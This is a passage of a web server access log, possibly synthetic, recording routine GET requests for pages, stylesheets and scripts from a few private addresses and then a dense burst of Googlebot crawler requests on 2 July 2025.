+0000] "GET /styles.css HTTP/1.1" 304 1551 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:11 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:00:11 +0000] "GET /styles.css HTTP/1.1" 304 1725 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:11 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:11 +0000] "GET /styles.css HTTP/1.1" 200 1566 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:11 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:00:11 +0000] "GET /styles.css HTTP/1.1" 404 1931 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:14 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:00:14 +0000] "GET /products/2 HTTP/1.1" 404 1077 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:18 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:18 +0000] "GET /about.html HTTP/1.1" 304 1883 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:18 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:18 +0000] "GET /main.js HTTP/1.1" 200 520 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:18 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:18 +0000] "GET /contact.html HTTP/1.1" 200 1055 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:25 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:00:25 +0000] "GET /index.html HTTP/1.1" 200 1768 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:25 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:25 +0000] "GET /products/1 HTTP/1.1" 200 1922 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:29 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:00:29 +0000] "GET /index.html HTTP/1.1" 200 1682 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:29 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:00:29 +0000] "GET /styles.css HTTP/1.1" 200 1622 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:29 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:00:29 +0000] "GET /contact.html HTTP/1.1" 200 1719 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:29 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:00:29 +0000] "GET /index.html HTTP/1.1" 200 1288 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:33 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:33 +0000] "GET /products/1 HTTP/1.1" 200 1260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:40 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:40 +0000] "GET /about.html HTTP/1.1" 404 1878 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:40 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:40 +0000] "GET /main.js HTTP/1.1" 304 1846 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:40 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:40 +0000] "GET /contact.html HTTP/1.1" 200 1458 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:40 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:00:40 +0000] "GET /about.html HTTP/1.1" 304 1747 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:43 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:43 +0000] "GET /contact.html HTTP/1.1" 304 1502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:43 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:00:43 +0000] "GET /index.html HTTP/1.1" 304 1026 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:43 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:00:43 +0000] "GET /main.js HTTP/1.1" 200 1873 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:49 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:00:49 +0000] "GET /products/2 HTTP/1.1" 404 1333 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:55 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:00:55 +0000] "GET /styles.css HTTP/1.1" 200 865 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:01 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:01:01 +0000] "GET /main.js HTTP/1.1" 200 1798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:05 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:01:05 +0000] "GET /index.html HTTP/1.1" 404 1324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:11 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:01:11 +0000] "GET /styles.css HTTP/1.1" 200 1639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:11 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:01:11 +0000] "GET /index.html HTTP/1.1" 200 632 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:19 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:01:19 +0000] "GET /styles.css HTTP/1.1" 304 1547 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:25 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:01:25 +0000] "GET /products/2 HTTP/1.1" 200 791 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:25 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:01:25 +0000] "GET /products/2 HTTP/1.1" 200 822 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:25 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:01:25 +0000] "GET /products/2 HTTP/1.1" 200 633 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:32 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:01:32 +0000] "GET /about.html HTTP/1.1" 200 1562 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:32 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:01:32 +0000] "GET /main.js HTTP/1.1" 304 1782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:32 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:01:32 +0000] "GET /styles.css HTTP/1.1" 200 1275 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:32 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:01:32 +0000] "GET /contact.html HTTP/1.1" 404 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:36 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:01:36 +0000] "GET /about.html HTTP/1.1" 200 1468 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:36 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:01:36 +0000] "GET /contact.html HTTP/1.1" 200 812 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:43 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:01:43 +0000] "GET /styles.css HTTP/1.1" 304 1826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:48 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:01:48 +0000] "GET /about.html HTTP/1.1" 200 1056 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:48 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:01:48 +0000] "GET /products/2 HTTP/1.1" 200 1343 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:48 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:01:48 +0000] "GET /main.js HTTP/1.1" 200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:48 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:01:48 +0000] "GET /products/2 HTTP/1.1" 304 1357 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:55 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:01:55 +0000] "GET /about.html HTTP/1.1" 200 1939 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:02:02 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:02:02 +0000] "GET /contact.html HTTP/1.1" 200 584 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:02:09 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:02:09 +0000] "GET /products/2 HTTP/1.1" 200 1508 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:02:09 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:02:09 +0000] "GET /products/1 HTTP/1.1" 200 1520 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:02:13 web-app[2345]: 192.168.1.101 - - [02/Jul/2025:12:02:13 +0000] "GET /styles.css HTTP/1.1" 200 1919 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:02:13 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:02:13 +0000] "GET /styles.css HTTP/1.1" 404 914 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:02:13 web-app[2345]: 10.0.0.54 - - [02/Jul/2025:12:02:13 +0000] "GET /about.html HTTP/1.1" 304 1656 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:02:13 web-app[2345]: 172.16.31.200 - - [02/Jul/2025:12:02:13 +0000] "GET /products/1 HTTP/1.1" 404 525 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:02:17 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:17 +0000] "GET /about.html HTTP/1.1" 200 1742 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:17 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:17 +0000] "GET /products/2 HTTP/1.1" 200 1877 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:17 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:17 +0000] "GET /main.js HTTP/1.1" 200 2135 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02 12:02:26 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:26 +0000] "GET /contact.html HTTP/1.1" 200 4301 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:26 +0000] "GET /main.js HTTP/1.1" 200 1836 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:26 +0000] "GET /main.js HTTP/1.1" 200 3707 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:26 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:26 +0000] "GET /products/2 HTTP/1.1" 200 3898 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:26 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:26 +0000] "GET /products/1 HTTP/1.1" 200 1778 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:26 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:26 +0000] "GET /about.html HTTP/1.1" 200 4268 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 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12:02:28 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:28 +0000] "GET /contact.html HTTP/1.1" 200 4701 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:28 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:28 +0000] "GET /index.html HTTP/1.1" 200 3294 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:28 +0000] "GET /products/2 HTTP/1.1" 200 1669 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:28 +0000] "GET /contact.html HTTP/1.1" 200 4326 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:28 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:28 +0000] "GET /contact.html HTTP/1.1" 200 1728 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:28 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:28 +0000] "GET /contact.html HTTP/1.1" 200 2521 "-" "Googlebot/2.1 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02 12:02:31 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:31 +0000] "GET /contact.html HTTP/1.1" 200 1544 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:31 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:31 +0000] "GET /products/2 HTTP/1.1" 200 2545 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:31 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:31 +0000] "GET /styles.css HTTP/1.1" 200 3875 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:31 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:31 +0000] "GET /products/2 HTTP/1.1" 200 2083 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:31 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:31 +0000] "GET /styles.css HTTP/1.1" 200 2418 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:31 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:31 +0000] "GET /contact.html HTTP/1.1" 200 1269 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" 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"-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:38 +0000] "GET /index.html HTTP/1.1" 200 1162 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:38 +0000] "GET /contact.html HTTP/1.1" 200 1665 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:38 +0000] "GET /contact.html HTTP/1.1" 200 4186 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:38 +0000] "GET /index.html HTTP/1.1" 200 2791 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:38 +0000] "GET /contact.html HTTP/1.1" 200 3535 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:38 +0000] "GET /products/1 HTTP/1.1" 200 3941 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:38 +0000] "GET /main.js HTTP/1.1" 200 2285 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:38 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:38 +0000] "GET /products/2 HTTP/1.1" 200 4735 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:39 +0000] "GET /products/1 HTTP/1.1" 200 4974 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:39 +0000] "GET /products/1 HTTP/1.1" 200 4199 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:39 +0000] "GET /products/1 HTTP/1.1" 200 4292 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:39 +0000] "GET /products/2 HTTP/1.1" 200 3010 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:39 +0000] "GET /about.html HTTP/1.1" 200 2929 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:39 +0000] "GET /index.html HTTP/1.1" 200 3585 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:39 +0000] "GET /contact.html HTTP/1.1" 200 2028 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:39 +0000] "GET /products/1 HTTP/1.1" 200 1407 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:39 +0000] "GET /products/2 HTTP/1.1" 200 1338 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:39 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:39 +0000] "GET /main.js HTTP/1.1" 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+0000] "GET /index.html HTTP/1.1" 200 2994 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:43 +0000] "GET /about.html HTTP/1.1" 200 4142 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:43 +0000] "GET /contact.html HTTP/1.1" 200 4501 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:43 +0000] "GET /about.html HTTP/1.1" 200 4531 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:43 +0000] "GET /about.html HTTP/1.1" 200 4056 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:43 +0000] "GET /styles.css HTTP/1.1" 200 3204 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:43 web-app[2345]: 66.249.66.1 - - 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12:02:46 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:46 +0000] "GET /index.html HTTP/1.1" 200 3506 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:46 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:46 +0000] "GET /main.js HTTP/1.1" 200 1003 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:46 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:46 +0000] "GET /about.html HTTP/1.1" 200 3355 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:47 +0000] "GET /products/2 HTTP/1.1" 200 1419 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:47 +0000] "GET /index.html HTTP/1.1" 200 3702 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:47 +0000] "GET /main.js HTTP/1.1" 200 4782 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:47 +0000] "GET /main.js HTTP/1.1" 200 4656 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:47 +0000] "GET /products/1 HTTP/1.1" 200 1010 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:47 +0000] "GET /main.js HTTP/1.1" 200 1453 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:47 +0000] "GET /main.js HTTP/1.1" 200 4363 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:47 +0000] "GET /contact.html HTTP/1.1" 200 3875 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:47 +0000] "GET /about.html HTTP/1.1" 200 2183 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:47 +0000] "GET /styles.css HTTP/1.1" 200 4296 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:47 +0000] "GET /about.html HTTP/1.1" 200 2667 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:47 +0000] "GET /main.js HTTP/1.1" 200 3320 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.1 - - [02/Jul/2025:12:02:47 +0000] "GET /contact.html HTTP/1.1" 200 1273 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:47 +0000] "GET /products/2 HTTP/1.1" 200 2676 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:47 +0000] "GET /styles.css HTTP/1.1" 200 4319 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:47 +0000] "GET /index.html HTTP/1.1" 200 2793 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:47 +0000] "GET /styles.css HTTP/1.1" 200 2075 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:47 +0000] "GET /products/2 HTTP/1.1" 200 4671 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.9 - - [02/Jul/2025:12:02:47 +0000] "GET /about.html HTTP/1.1" 200 3495 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:47 +0000] "GET /styles.css HTTP/1.1" 200 2830 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:47 +0000] "GET /index.html HTTP/1.1" 200 1144 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:47 web-app[2345]: 66.249.66.5 - - [02/Jul/2025:12:02:47 +0000] "GET /products/1 HTTP/1.1" 200 1580 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 